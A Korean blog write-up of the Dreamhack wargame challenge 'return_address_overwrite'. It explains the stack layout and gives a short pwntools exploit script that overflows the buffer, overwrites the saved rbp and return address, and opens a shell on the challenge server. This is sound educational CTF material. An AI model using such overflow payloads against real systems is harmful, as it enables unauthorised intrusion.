본문 바로가기

Security/System Security

[Dreamhack] return_address_overwrite

https://dreamhack.io/wargame/challenges/351

 

Return Address Overwrite

Description Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.

dreamhack.io

 

강의내용과 숫자까지 완전히 똑같은 문제라 어떻게 풀어야 할지는 강의에 다 나와있다. 스택프레임이 어디까지 확장되어있는지만 disassemble을 통해서 확인한 후 saved rbp 즉 sfp까지 포함해서 덮어쓰면 된다.

 

다만 이걸 바이트코드 형태로 넘겨줘야하는데, shell_basic에서 했던 pwntools을 통해 넘겨주면 된다.

#!/usr/bin/env python3
from pwn import *

context.arch="amd64"
p=remote("host3.dreamhack.games",14267)

shellcode=b'A'*0x30+b'B'*0x08+b'\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ",shellcode)
p.interactive()

쉘에 대한 권한을 취득해야하는 문제이므로 interactive를 통해서 살펴봐야한다. 어떤 함수를 써야하는지에 대한 내용은 pwntools의 깃헙에서 확인하거나 드림핵 강의(https://learn.dreamhack.io/59#4) 에서도 확인할 수 있다.

[참고]

쉘에 대한 권한을 취득하면 ls을 통해서 flag 유무를 확인가능하다.

'Security > System Security' 카테고리의 다른 글

[Dreamhack] shell_basic 문제풀이  (0) 2024.10.12
[어셈블리어] 데이터 전달 방식  (0) 2024.10.11